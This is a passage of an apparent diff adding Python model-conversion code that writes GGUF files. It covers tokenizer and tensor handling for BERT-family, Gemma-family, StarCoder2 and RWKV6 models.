self._create_vocab_sentencepiece() + + self.gguf_writer.add_tokenizer_model("llama") + self.gguf_writer.add_tokenizer_pre("default") + self.gguf_writer.add_token_list(tokens) + self.gguf_writer.add_token_scores(scores) + self.gguf_writer.add_token_types(toktypes) + + special_vocab = gguf.SpecialVocab(self.dir_model, n_vocab=len(tokens)) + + tokenizer_config_file = self.dir_model / 'tokenizer_config.json' + if tokenizer_config_file.is_file(): + with open(tokenizer_config_file, "r", encoding="utf-8") as f: + tokenizer_config_json = json.load(f) + if "add_prefix_space" in tokenizer_config_json: + self.gguf_writer.add_add_space_prefix(tokenizer_config_json["add_prefix_space"]) + + if "added_tokens_decoder" in tokenizer_config_json: + for token_id, token_data in tokenizer_config_json["added_tokens_decoder"].items(): + if token_data.get("special"): + token_id = int(token_id) + token = token_data["content"] + special_vocab._set_special_token(token, token_id) + # update eos token + if token == '<|im_end|>' and "eos" in special_vocab.special_token_ids: + special_vocab.special_token_ids["eos"] = token_id + + special_vocab.add_to_gguf(self.gguf_writer) + + def set_gguf_parameters(self): + super().set_gguf_parameters() + hparams = self.hparams + self.gguf_writer.add_vocab_size(hparams["vocab_size"]) + + if (rope_dim := hparams.get("head_dim")) is None: + rope_dim = hparams["hidden_size"] // hparams["num_attention_heads"] + self.gguf_writer.add_rope_dimension_count(rope_dim) + + rope_scaling = self.hparams.get("rope_scaling") or {} + if rope_scaling.get("rope_type", rope_scaling.get("type")) == "linear" and "factor" in rope_scaling: + self.gguf_writer.add_rope_scaling_type(gguf.RopeScalingType.LINEAR) + self.gguf_writer.add_rope_scaling_factor(rope_scaling["factor"]) + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + n_head = self.hparams["num_attention_heads"] + n_kv_head = self.hparams.get("num_key_value_heads") + name = name.replace("language_model.", "") # InternVL + if name.startswith("mlp") or name.startswith("vision_model"): + # skip visual tensors + return [] + if name.endswith(("q_proj.weight", "q_proj.bias")): + data_torch = LlamaModel.permute(data_torch, n_head, n_head) + if name.endswith(("k_proj.weight", "k_proj.bias")): + data_torch = LlamaModel.permute(data_torch, n_head, n_kv_head) + return [(self.map_tensor_name(name), data_torch)] + + +@ModelBase.register("BertModel", "BertForMaskedLM", "CamembertModel", "BertForSequenceClassification") +class BertModel(TextModel): + model_arch = gguf.MODEL_ARCH.BERT + + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + self.vocab_size = None + + if cls_out_labels := self.hparams.get("id2label"): + if len(cls_out_labels) == 2 and cls_out_labels[0] == "LABEL_0": + # Remove dummy labels added by AutoConfig + cls_out_labels = None + self.cls_out_labels = cls_out_labels + + def set_gguf_parameters(self): + super().set_gguf_parameters() + self.gguf_writer.add_causal_attention(False) + self._try_set_pooling_type() + + if self.cls_out_labels: + self.gguf_writer.add_classifier_output_labels([v for k, v in sorted(self.cls_out_labels.items())]) + + def set_vocab(self): + tokens, toktypes, tokpre = self.get_vocab_base() + self.vocab_size = len(tokens) + + # we need this to validate the size of the token_type embeddings + # though currently we are passing all zeros to the token_type embeddings + # "Sequence A" or "Sequence B" + self.gguf_writer.add_token_type_count(self.hparams.get("type_vocab_size", 1)) + + # convert to phantom space vocab + def phantom(tok): + if tok.startswith("[") and tok.endswith("]"): + return tok + if tok.startswith("##"): + return tok[2:] + return "\u2581" + tok + tokens = list(map(phantom, tokens)) + + # add vocab to gguf + self.gguf_writer.add_tokenizer_model("bert") + self.gguf_writer.add_tokenizer_pre(tokpre) + self.gguf_writer.add_token_list(tokens) + self.gguf_writer.add_token_types(toktypes) + + # handle special tokens + special_vocab = gguf.SpecialVocab(self.dir_model, n_vocab=len(tokens)) + special_vocab.add_to_gguf(self.gguf_writer) + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + del bid # unused + + if name.startswith("bert."): + name = name[5:] + + if name.endswith(".gamma"): + name = name[:-6] + ".weight" + + if name.endswith(".beta"): + name = name[:-5] + ".bias" + + # we are only using BERT for embeddings so we don't need the pooling layer + if name in ("embeddings.position_ids", "pooler.dense.weight", "pooler.dense.bias"): + return [] # we don't need these + + if name.startswith("cls.predictions"): + return [] + + if name.startswith("cls.seq_relationship"): + return [] + + if self.cls_out_labels: + # For BertForSequenceClassification (direct projection layer) + if name == "classifier.weight": + name = "classifier.out_proj.weight" + + if name == "classifier.bias": + name = "classifier.out_proj.bias" + + return [(self.map_tensor_name(name), data_torch)] + + def _xlmroberta_tokenizer_init(self) -> None: + # we need the pad_token_id to know how to chop down position_embd matrix + if (pad_token_id := self.hparams.get("pad_token_id")) is not None: + self._position_offset = 1 + pad_token_id + if "max_position_embeddings" in self.hparams: + self.hparams["max_position_embeddings"] -= self._position_offset + else: + self._position_offset = None + + def _xlmroberta_set_vocab(self) -> None: + # to avoid TypeError: Descriptors cannot be created directly + # exception when importing sentencepiece_model_pb2 + os.environ["PROTOCOL_BUFFERS_PYTHON_IMPLEMENTATION"] = "python" + from sentencepiece import SentencePieceProcessor + from sentencepiece import sentencepiece_model_pb2 as model + + tokenizer_path = self.dir_model / 'sentencepiece.bpe.model' + + tokenizer_json = {} + tokenizer_config_json = {} + if not tokenizer_path.is_file(): + tokenizer_path = self.dir_model / 'tokenizer.json' + tokenizer_config_path = self.dir_model / 'tokenizer_config.json' + + if not tokenizer_path.is_file(): + raise FileNotFoundError(f"File not found: {tokenizer_path}") + + from base64 import b64decode + from transformers import AutoTokenizer + tokenizer = AutoTokenizer.from_pretrained(self.dir_model) + + with open(tokenizer_path, "r", encoding="utf-8") as fp: + tokenizer_json = json.load(fp) + + if tokenizer_config_path.is_file(): + with open(tokenizer_config_path, "r", encoding="utf-8") as fp: + tokenizer_config_json = json.load(fp) + + add_prefix = tokenizer.add_prefix_space + remove_whitespaces = tokenizer.clean_up_tokenization_spaces + precompiled_charsmap = b64decode(tokenizer_json["normalizer"]["precompiled_charsmap"]) + + vocab_size = max(self.hparams.get("vocab_size", 0), tokenizer.vocab_size) + else: + sentencepiece_model = model.ModelProto() # pyright: ignore[reportAttributeAccessIssue] + sentencepiece_model.ParseFromString(open(tokenizer_path, "rb").read()) + assert sentencepiece_model.trainer_spec.model_type == 1 # UNIGRAM + + add_prefix = sentencepiece_model.normalizer_spec.add_dummy_prefix + remove_whitespaces = sentencepiece_model.normalizer_spec.remove_extra_whitespaces + precompiled_charsmap = sentencepiece_model.normalizer_spec.precompiled_charsmap + + tokenizer = SentencePieceProcessor() + tokenizer.LoadFromFile(str(tokenizer_path)) + + vocab_size = max(self.hparams.get("vocab_size", 0), tokenizer.vocab_size()) + + tokens: list[bytes] = [f"[PAD{i}]".encode("utf-8") for i in range(vocab_size)] + scores: list[float] = [-10000.0] * vocab_size + toktypes: list[int] = [SentencePieceTokenTypes.UNUSED] * vocab_size + + if isinstance(tokenizer, SentencePieceProcessor): + for token_id in range(tokenizer.vocab_size()): + piece = tokenizer.IdToPiece(token_id) + text = piece.encode("utf-8") + score = tokenizer.GetScore(token_id) + + toktype = SentencePieceTokenTypes.NORMAL + if tokenizer.IsUnknown(token_id): + toktype = SentencePieceTokenTypes.UNKNOWN + elif tokenizer.IsControl(token_id): + toktype = SentencePieceTokenTypes.CONTROL + elif tokenizer.IsUnused(token_id): + toktype = SentencePieceTokenTypes.UNUSED + elif tokenizer.IsByte(token_id): + toktype = SentencePieceTokenTypes.BYTE + + tokens[token_id] = text + scores[token_id] = score + toktypes[token_id] = toktype + else: + added_vocab = tokenizer.get_added_vocab() + unk_token = tokenizer_config_json.get("unk_token") + unk_token_id = added_vocab.get(unk_token, tokenizer_json["model"].get("unk_id", 3)) + + for token_id in range(tokenizer.vocab_size): + piece = tokenizer._convert_id_to_token(token_id) + if (piece := tokenizer._convert_id_to_token(token_id)) is not None: + text = piece.encode("utf-8") + score = tokenizer_json["model"]["vocab"][token_id][1] + + toktype = SentencePieceTokenTypes.NORMAL + if token_id == unk_token_id: + toktype = SentencePieceTokenTypes.UNKNOWN + elif token_id in tokenizer.all_special_ids: + toktype = SentencePieceTokenTypes.CONTROL + elif token_id in added_vocab.values(): + toktype = SentencePieceTokenTypes.USER_DEFINED + # No reliable way to detect this, but jina doesn't have any + # elif tokenizer.IsByte(token_id): + # toktype = SentencePieceTokenTypes.BYTE + + tokens[token_id] = text + scores[token_id] = score + toktypes[token_id] = toktype + + if isinstance(tokenizer, SentencePieceProcessor): + # realign tokens (see HF tokenizer code) + tokens = [b'', b'', b'', b''] + tokens[3:-1] + scores = [0.0, 0.0, 0.0, 0.0] + scores[3:-1] + toktypes = [ + SentencePieceTokenTypes.CONTROL, + SentencePieceTokenTypes.CONTROL, + SentencePieceTokenTypes.CONTROL, + SentencePieceTokenTypes.UNKNOWN, + ] + toktypes[3:-1] + + if self.model_arch == gguf.MODEL_ARCH.NOMIC_BERT_MOE: + # Add mask token missing from sentencepiece.bpe.model + tokens[250001] = b'' + scores[250001] = 0.0 + toktypes[250001] = SentencePieceTokenTypes.CONTROL + + self.gguf_writer.add_tokenizer_model("t5") + self.gguf_writer.add_tokenizer_pre("default") + self.gguf_writer.add_token_list(tokens) + self.gguf_writer.add_token_scores(scores) + self.gguf_writer.add_token_types(toktypes) + self.gguf_writer.add_add_space_prefix(add_prefix) + self.gguf_writer.add_token_type_count(self.hparams.get("type_vocab_size", 1)) + self.gguf_writer.add_remove_extra_whitespaces(remove_whitespaces) + if precompiled_charsmap: + self.gguf_writer.add_precompiled_charsmap(precompiled_charsmap) + + special_vocab = gguf.SpecialVocab(self.dir_model, n_vocab=len(tokens)) + special_vocab.add_to_gguf(self.gguf_writer) + + +@ModelBase.register("DistilBertModel", "DistilBertForMaskedLM", "DistilBertForSequenceClassification") +class DistilBertModel(BertModel): + model_arch = gguf.MODEL_ARCH.BERT + + def set_gguf_parameters(self): + self.gguf_writer.add_layer_norm_eps(1e-12) + logger.info("gguf: layer norm epsilon = 1e-12") + super().set_gguf_parameters() + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + if name.startswith("distilbert."): + name = name[11:] + + # These layers act as MLM head, so we don't need them + if name.startswith("vocab_"): + return [] + + return super().modify_tensors(data_torch, name, bid) + + +@ModelBase.register("RobertaModel", "RobertaForSequenceClassification") +class RobertaModel(BertModel): + model_arch = gguf.MODEL_ARCH.BERT + + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + + # we need the pad_token_id to know how to chop down position_embd matrix + if (pad_token_id := self.hparams.get("pad_token_id")) is not None: + self._position_offset = 1 + pad_token_id + if "max_position_embeddings" in self.hparams: + self.hparams["max_position_embeddings"] -= self._position_offset + else: + self._position_offset = None + + def set_vocab(self): + """Support BPE tokenizers for roberta models""" + bpe_tok_path = self.dir_model / "tokenizer.json" + if bpe_tok_path.exists(): + self._set_vocab_gpt2() + + # we need this to validate the size of the token_type embeddings + # though currently we are passing all zeros to the token_type embeddings + # "Sequence A" or "Sequence B" + self.gguf_writer.add_token_type_count(self.hparams.get("type_vocab_size", 1)) + + else: + return super().set_vocab() + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + # if name starts with "roberta.", remove the prefix + # e.g. https://huggingface.co/BAAI/bge-reranker-v2-m3/tree/main + if name.startswith("roberta."): + name = name[8:] + + # position embeddings start at pad_token_id + 1, so just chop down the weight tensor + if name == "embeddings.position_embeddings.weight": + if self._position_offset is not None: + data_torch = data_torch[self._position_offset:,:] + + return super().modify_tensors(data_torch, name, bid) + + +@ModelBase.register("NomicBertModel") +class NomicBertModel(BertModel): + model_arch = gguf.MODEL_ARCH.BERT + + def __init__(self, dir_model: Path, ftype: gguf.LlamaFileType, fname_out: Path, **kwargs: Any): + hparams = kwargs.pop("hparams", None) + if hparams is None: + hparams = ModelBase.load_hparams(dir_model) + + self.is_moe = bool(hparams.get("moe_every_n_layers")) + self.model_arch = gguf.MODEL_ARCH.NOMIC_BERT_MOE if self.is_moe else gguf.MODEL_ARCH.NOMIC_BERT + + super().__init__(dir_model, ftype, fname_out, hparams=hparams, **kwargs) + + self._tokenizer_is_xlmroberta = self._is_tokenizer_xlmroberta() + if self._tokenizer_is_xlmroberta: + self._xlmroberta_tokenizer_init() + + npos, mtp = self.hparams["n_positions"], self.hparams.get("max_trained_positions", 2048) + if npos == 8192 and mtp == 2048: + self.hparams["n_positions"] = 2048 # nomic-embed-text v1 and v1.5 are trained for 2048 tokens. + elif npos == 2048 and mtp == 2048: + self.hparams["n_positions"] = 512 # nomic-embed-text-v2-moe is trained for 512 tokens. + else: + raise ValueError(f"unrecognized parameters: n_positions={npos}, max_trained_positions={mtp}") + + assert self.hparams["activation_function"] == "gelu" if self.is_moe else "swiglu" + + # this doesn't do anything in the HF version + assert self.hparams["causal"] is False + # no bias tensors unless MoE + assert self.hparams["qkv_proj_bias"] == self.is_moe + assert self.hparams["mlp_fc1_bias"] == self.is_moe + assert self.hparams["mlp_fc2_bias"] == self.is_moe + + # norm at end of layer + assert self.hparams["prenorm"] is False + # standard RoPE + assert self.hparams["rotary_emb_fraction"] == 1.0 + assert self.hparams["rotary_emb_interleaved"] is False + assert self.hparams["rotary_emb_scale_base"] is None + + def set_vocab(self) -> None: + if self._tokenizer_is_xlmroberta: + return self._xlmroberta_set_vocab() + return super().set_vocab() + + def modify_tensors(self, data_torch: torch.Tensor, name: str, bid: int | None) -> Iterable[tuple[str, torch.Tensor]]: + # If the tensor is an experts bias tensor, skip it by returning an empty list. + if "mlp.experts.bias" in name: + return [] # Explicitly return an empty list. + + if "mlp.experts.mlp.w1" in name: + data_torch = data_torch.view(self.hparams["num_experts"], self.hparams["n_inner"], self.hparams["n_embd"]) + name += ".weight" + + if "mlp.experts.mlp.w2" in name: + data_torch = data_torch.view(self.hparams["num_experts"], self.hparams["n_inner"], self.hparams["n_embd"]) + data_torch = data_torch.transpose(1, 2) + name += ".weight" + + return [(self.map_tensor_name(name), data_torch)] + + def set_gguf_parameters(self): + super().set_gguf_parameters() + self.gguf_writer.add_rope_freq_base(self.hparams["rotary_emb_base"]) + if self.is_moe: + self.gguf_writer.add_moe_every_n_layers(self.hparams["moe_every_n_layers"]) + self.gguf_writer.add_expert_count(self.hparams["num_experts"]) + self.gguf_writer.add_expert_used_count(self.hparams["moe_top_k"]) + + def _is_tokenizer_xlmroberta(self) -> bool: + with open(self.dir_model / "tokenizer.json") as f: + tokenizer_json = json.load(f) + toktyp = tokenizer_json["model"]["type"] + if toktyp == "Unigram": + return True + if toktyp == "WordPiece": + return False + raise ValueError(f"unknown tokenizer: {toktyp}") + + +@ModelBase.register("NeoBERT", "NeoBERTLMHead", "NeoBERTForSequenceClassification") +class NeoBert(BertModel): + model_arch = gguf.MODEL_ARCH.NEO_BERT + + def set_gguf_parameters(self): + super().set_gguf_parameters() + + # NeoBERT uses 2/3 of the intermediate size as feed forward length + self.gguf_writer.add_feed_forward_length(int(2 * self.hparams["intermediate_size"] / 3)) + self.gguf_writer.add_rope_freq_base(10000.0) # default value for NeoBERT + self.gguf_writer.add_rope_scaling_type(gguf.RopeScalingType.NONE) + + f_rms_eps = self.hparams.get("norm_eps", 1e-6) # default value for NeoBERT + self.gguf_writer.add_layer_norm_rms_eps(f_rms_eps) + logger.info(f"gguf: rms norm epsilon = {f_rms_eps}") + + self.gguf_writer.add_pooling_type(gguf.PoolingType.CLS) # https://huggingface.co/chandar-lab/NeoBERT#how-to-use + + def modify_tensors(self, data_torch, name, bid): + if name.startswith("decoder."): + return [] + + if name.startswith("model."): + name = name[6:] + + return super().modify_tensors(data_torch, name, bid) + + +@ModelBase.register("XLMRobertaModel", "XLMRobertaForSequenceClassification") +class XLMRobertaModel(BertModel): + model_arch = gguf.MODEL_ARCH.BERT + + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + self._xlmroberta_tokenizer_init() + + def set_vocab(self): + self._xlmroberta_set_vocab() + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + # if name starts with "roberta.", remove the prefix + # e.g. https://huggingface.co/BAAI/bge-reranker-v2-m3/tree/main + if name.startswith("roberta."): + name = name[8:] + + # position embeddings start at pad_token_id + 1, so just chop down the weight tensor + if name == "embeddings.position_embeddings.weight": + if self._position_offset is not None: + data_torch = data_torch[self._position_offset:,:] + + return super().modify_tensors(data_torch, name, bid) + + +@ModelBase.register("GemmaForCausalLM") +class GemmaModel(TextModel): + model_arch = gguf.MODEL_ARCH.GEMMA + + def set_vocab(self): + self._set_vocab_sentencepiece() + + # TODO: these special tokens should be exported only for the CodeGemma family + special_vocab = gguf.SpecialVocab(self.dir_model, load_merges=False, + special_token_types = ['prefix', 'suffix', 'middle', 'fsep', 'eot']) + special_vocab._set_special_token("prefix", 67) + special_vocab._set_special_token("suffix", 69) + special_vocab._set_special_token("middle", 68) + special_vocab._set_special_token("fsep", 70) + special_vocab._set_special_token("eot", 107) + special_vocab.chat_template = None # do not add it twice + special_vocab.add_to_gguf(self.gguf_writer) + + self.gguf_writer.add_add_space_prefix(False) + + def set_gguf_parameters(self): + hparams = self.hparams + block_count = hparams["num_hidden_layers"] + + self.gguf_writer.add_context_length(hparams["max_position_embeddings"]) + self.gguf_writer.add_embedding_length(hparams["hidden_size"]) + self.gguf_writer.add_block_count(block_count) + self.gguf_writer.add_feed_forward_length(hparams["intermediate_size"]) + self.gguf_writer.add_head_count(hparams["num_attention_heads"]) + self.gguf_writer.add_head_count_kv(self.hparams["num_key_value_heads"] if "num_key_value_heads" in hparams else hparams["num_attention_heads"]) + self.gguf_writer.add_layer_norm_rms_eps(self.hparams["rms_norm_eps"]) + self.gguf_writer.add_key_length(hparams["head_dim"]) + self.gguf_writer.add_value_length(hparams["head_dim"]) + self.gguf_writer.add_file_type(self.ftype) + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + del bid # unused + + # lm_head is not used in llama.cpp, while autoawq will include this tensor in model + # To prevent errors, skip loading lm_head.weight. + if name == "lm_head.weight": + logger.debug(f"Skipping get tensor {name!r} in safetensors so that convert can end normally.") + return [] + + # ref: https://github.com/huggingface/transformers/blob/fc37f38915372c15992b540dfcbbe00a916d4fc6/src/transformers/models/gemma/modeling_gemma.py#L89 + if name.endswith("norm.weight"): + data_torch = data_torch + 1 + + return [(self.map_tensor_name(name), data_torch)] + + +@ModelBase.register("Gemma2ForCausalLM") +class Gemma2Model(TextModel): + model_arch = gguf.MODEL_ARCH.GEMMA2 + + def set_vocab(self): + self._set_vocab_sentencepiece() + + self.gguf_writer.add_add_space_prefix(False) + + def set_gguf_parameters(self): + hparams = self.hparams + block_count = hparams["num_hidden_layers"] + + self.gguf_writer.add_context_length(hparams["max_position_embeddings"]) + self.gguf_writer.add_embedding_length(hparams["hidden_size"]) + self.gguf_writer.add_block_count(block_count) + self.gguf_writer.add_feed_forward_length(hparams["intermediate_size"]) + self.gguf_writer.add_head_count(hparams["num_attention_heads"]) + self.gguf_writer.add_head_count_kv(self.hparams["num_key_value_heads"] if "num_key_value_heads" in hparams else hparams["num_attention_heads"]) + self.gguf_writer.add_layer_norm_rms_eps(self.hparams["rms_norm_eps"]) + self.gguf_writer.add_key_length(hparams["head_dim"]) + self.gguf_writer.add_value_length(hparams["head_dim"]) + self.gguf_writer.add_file_type(self.ftype) + self.gguf_writer.add_attn_logit_softcapping( + self.hparams["attn_logit_softcapping"] + ) + self.gguf_writer.add_final_logit_softcapping( + self.hparams["final_logit_softcapping"] + ) + self.gguf_writer.add_sliding_window(self.hparams["sliding_window"]) + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + del bid # unused + + # lm_head is not used in llama.cpp, while autoawq will include this tensor in model + # To prevent errors, skip loading lm_head.weight. + if name == "lm_head.weight": + logger.debug(f"Skipping get tensor {name!r} in safetensors so that convert can end normally.") + return [] + + # ref: https://github.com/huggingface/transformers/blob/fc37f38915372c15992b540dfcbbe00a916d4fc6/src/transformers/models/gemma/modeling_gemma.py#L89 + if name.endswith("norm.weight"): + data_torch = data_torch + 1 + + return [(self.map_tensor_name(name), data_torch)] + + +@ModelBase.register("Gemma3ForCausalLM", "Gemma3ForConditionalGeneration") +class Gemma3Model(TextModel): + model_arch = gguf.MODEL_ARCH.GEMMA3 + norm_shift = 1.0 # Gemma3RMSNorm adds 1.0 to the norm value + + def set_vocab(self): + self._set_vocab_sentencepiece() + + self.gguf_writer.add_add_space_prefix(False) + + def set_gguf_parameters(self): + hparams = self.hparams + block_count = hparams["num_hidden_layers"] + + # some default values are not specified in the hparams + self.gguf_writer.add_context_length(hparams.get("max_position_embeddings", 131072)) + self.gguf_writer.add_embedding_length(hparams["hidden_size"]) + self.gguf_writer.add_block_count(block_count) + self.gguf_writer.add_feed_forward_length(hparams["intermediate_size"]) + self.gguf_writer.add_head_count(hparams.get("num_attention_heads", 8)) + self.gguf_writer.add_layer_norm_rms_eps(self.hparams.get("rms_norm_eps", 1e-6)) + self.gguf_writer.add_key_length(hparams.get("head_dim", 256)) + self.gguf_writer.add_value_length(hparams.get("head_dim", 256)) + self.gguf_writer.add_file_type(self.ftype) + self.gguf_writer.add_rope_freq_base(hparams.get("rope_theta", 1_000_000.0)) # for global layers + # attn_logit_softcapping is removed in Gemma3 + assert hparams.get("attn_logit_softcapping") is None + self.gguf_writer.add_sliding_window(hparams["sliding_window"]) + self.gguf_writer.add_head_count_kv(hparams.get("num_key_value_heads", 4)) + if hparams.get("rope_scaling") is not None: + assert hparams["rope_scaling"]["rope_type"] == "linear" + # important: this rope_scaling is only applied for global layers, and not used by 1B model + self.gguf_writer.add_rope_scaling_type(gguf.RopeScalingType.LINEAR) + self.gguf_writer.add_rope_scaling_factor(hparams["rope_scaling"]["factor"]) + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + del bid # unused + + if "language_model." in name: + name = name.replace("language_model.", "") + + elif name.startswith("multi_modal_projector.") or name.startswith("vision_tower.") \ + or name.startswith("multimodal_projector.") or name.startswith("vision_model."): + return [] # skip vision tensors + + # remove OOV (out-of-vocabulary) rows in token_embd + if "embed_tokens.weight" in name: + vocab = self._create_vocab_sentencepiece() + tokens = vocab[0] + data_torch = data_torch[:len(tokens)] + + # ref code in Gemma3RMSNorm + # output = output * (1.0 + self.weight.float()) + # note: this is not the case on gemma3n + if name.endswith("norm.weight"): + data_torch = data_torch + self.norm_shift + + return [(self.map_tensor_name(name), data_torch)] + + +@ModelBase.register("Gemma3ForConditionalGeneration") +class Gemma3VisionModel(MmprojModel): + def set_gguf_parameters(self): + super().set_gguf_parameters() + hparams = self.hparams + self.gguf_writer.add_clip_projector_type(gguf.VisionProjectorType.GEMMA3) + # default values below are taken from HF tranformers code + self.gguf_writer.add_vision_attention_layernorm_eps(hparams.get("layer_norm_eps", 1e-6)) + self.gguf_writer.add_vision_use_gelu(True) + # calculate proj_scale_factor (used by tinygemma3 test model) + image_seq_length = self.preprocessor_config.get("image_seq_length", 256) + n_per_side = int(image_seq_length ** 0.5) + image_size = self.hparams["image_size"] + patch_size = self.hparams["patch_size"] + proj_scale_factor = (image_size // patch_size) // n_per_side + if proj_scale_factor > 0 and proj_scale_factor != 4: + # we only need to write this if it's not the default value + # in this case, we are converting a test model + self.gguf_writer.add_vision_projector_scale_factor(proj_scale_factor) + + def tensor_force_quant(self, name, new_name, bid, n_dims): + del bid, new_name, n_dims # unused + # related to https://github.com/ggml-org/llama.cpp/issues/13025 + if "input_projection" in name: + return gguf.GGMLQuantizationType.F16 + if ".embeddings." in name: + return gguf.GGMLQuantizationType.F32 + return False + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + del bid # unused + + if "vision_model.head." in name: + return [] # skip redundant tensors for tinygemma3 + + if name.startswith("multi_modal_projector.") or name.startswith("vision_tower.") \ + or name.startswith("multimodal_projector.") or name.startswith("vision_model."): + # process vision tensors + name = name.replace("_weight", ".weight") + + # correct norm value ; only this "soft_emb_norm" need to be corrected as it's part of Gemma projector + # the other norm values are part of SigLIP model, and they are already correct + # ref code: Gemma3RMSNorm + if "soft_emb_norm.weight" in name: + logger.info(f"Correcting norm value for '{name}'") + data_torch = data_torch + 1 + + return [(self.map_tensor_name(name), data_torch)] + + return [] # skip other tensors + + +@ModelBase.register("Gemma3nForConditionalGeneration") +class Gemma3NModel(Gemma3Model): + model_arch = gguf.MODEL_ARCH.GEMMA3N + norm_shift = 0.0 # same value with Gemma3p5RMSNorm scale_shift on python code + + _altup_proj: list[Tensor] = [] + _altup_unembd: list[Tensor] = [] + + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + assert self.hparams["altup_num_inputs"] == 4, "Current conversion only supports 4 altup inputs" + self._altup_proj = [ + torch.Tensor(), # to be replaced + torch.Tensor(), # to be replaced + torch.Tensor(), # to be replaced + ] + self._altup_unembd = [ + torch.Tensor(), # to be replaced + torch.Tensor(), # to be replaced + torch.Tensor(), # to be replaced + ] + + def set_vocab(self): + super().set_vocab() + + def set_gguf_parameters(self): + super().set_gguf_parameters() + self.gguf_writer.add_altup_active_idx(self.hparams["altup_active_idx"]) + self.gguf_writer.add_altup_num_inputs(self.hparams["altup_num_inputs"]) + self.gguf_writer.add_embedding_length_per_layer_input(self.hparams["hidden_size_per_layer_input"]) + self.gguf_writer.add_shared_kv_layers(self.hparams["num_kv_shared_layers"]) + + activation_sparsity_scale = [] + for s in self.hparams["activation_sparsity_pattern"]: + normal_dist = torch.distributions.normal.Normal(0, 1) + std_multiplier = normal_dist.icdf(torch.tensor(s, dtype=torch.float32)) + activation_sparsity_scale.append(std_multiplier.item()) + self.gguf_writer.add_activation_sparsity_scale(activation_sparsity_scale) + + sliding_window_pattern = [] + for t in self.hparams["layer_types"]: + sliding_window_pattern.append(t == "sliding_attention") + self.gguf_writer.add_sliding_window_pattern(sliding_window_pattern) + + def _stack_matrices(self, matrices: list[Tensor]) -> Tensor | None: + has_all = all(m.numel() > 0 for m in matrices) + if not has_all: + return None + else: + return torch.stack(matrices, dim=0) + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + if name.endswith("_scale"): + name = name + ".weight" + + # TODO: implement self.prediction_coefs.weight.clamp_(...) + + if "language_model." not in name: + return [] # skip non-language model tensors + + if "altup_unembed_projections" in name: + data_torch = data_torch.to(device="cpu") + if ".0." in name: + self._altup_unembd[0] = data_torch + elif ".1." in name: + self._altup_unembd[1] = data_torch + elif ".2." in name: + self._altup_unembd[2] = data_torch + else: + raise ValueError(f"Unknown name: {name}") + out = self._stack_matrices(self._altup_unembd) + if out is not None: + return [(self.map_tensor_name("model.altup_unembed_projections.weight"), out)] + else: + return [] + + if "altup_projections" in name: + data_torch = data_torch.to(device="cpu") + if ".0." in name: + self._altup_proj[0] = data_torch + elif ".1." in name: + self._altup_proj[1] = data_torch + elif ".2." in name: + self._altup_proj[2] = data_torch + else: + raise ValueError(f"Unknown name: {name}") + out = self._stack_matrices(self._altup_proj) + if out is not None: + return [(self.map_tensor_name("model.altup_projections.weight"), out)] + else: + return [] + + return super().modify_tensors(data_torch, name, bid) + + +@ModelBase.register("Starcoder2ForCausalLM") +class StarCoder2Model(TextModel): + model_arch = gguf.MODEL_ARCH.STARCODER2 + + +@ModelBase.register("Rwkv6ForCausalLM") +class Rwkv6Model(TextModel): + model_arch = gguf.MODEL_ARCH.RWKV6 + + def set_vocab(self): + self._set_vocab_rwkv_world() + + def set_gguf_parameters(self): + block_count = self.hparams["num_hidden_layers"] + head_size = self.hparams["head_size"] + hidden_size = self.hparams["hidden_size"] + layer_norm_eps = self.hparams["layer_norm_epsilon"] + rescale_every_n_layers = self.hparams["rescale_every"] + intermediate_size = self.hparams["intermediate_size"] if self.hparams["intermediate_size"] is not None else int((hidden_size * 3.5) // 32 * 32) + time_mix_extra_dim = 64 if hidden_size == 4096 else 32 + time_decay_extra_dim = 128 if hidden_size == 4096 else 64 + + # RWKV isn't context limited + self.gguf_writer.add_context_length(1048576) + self.gguf_writer.add_embedding_length(hidden_size) + self.gguf_writer.add_block_count(block_count) + self.gguf_writer.add_layer_norm_eps(layer_norm_eps) + self.gguf_writer.add_rescale_every_n_layers(rescale_every_n_layers) + self.gguf_writer.add_wkv_head_size(head_size) + self.gguf_writer.add_time_mix_extra_dim(time_mix_extra_dim) + self.gguf_writer.add_time_decay_extra_dim(time_decay_extra_dim) + self.gguf_writer.add_feed_forward_length(intermediate_size) + self.gguf_writer.add_file_type(self.ftype) + + # required by llama.cpp, unused + self.gguf_writer.add_head_count(0) + + lerp_weights: dict[int, dict[str, Tensor]] = {} + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + new_name = self.map_tensor_name(name) + + if not (new_name.endswith(".weight") or new_name.endswith(".bias")): + new_name += ".weight" + + if new_name.endswith("time_mix_w1.weight") or new_name.endswith("time_mix_decay_w1.weight") or new_name.endswith("time_mix_decay_w2.weight"): + data_torch = data_torch.transpose(0, 1) + + if new_name.endswith("time_mix_w2.weight"): + data_torch = data_torch.permute(0, 2, 1) + + if new_name.endswith("time_mix_decay.weight") or "lerp" in new_name: + data_torch = data_torch.squeeze() + + try: + rescale_every_n_layers = self.hparams["rescale_every"] + if rescale_every_n_layers > 0: + if new_name.endswith("time_mix_output.weight") or new_name.endswith("channel_mix_value.weight"): + data_torch = data_torch.div_(2 ** int(bid // rescale_every_n_layers)) + except KeyError: + pass + + # concat time_mix_lerp weights to reduce some cpu overhead + # also reduces the number of tensors in the model + if bid is not None and "time_mix_lerp" in new_name and "time_mix_lerp_x" 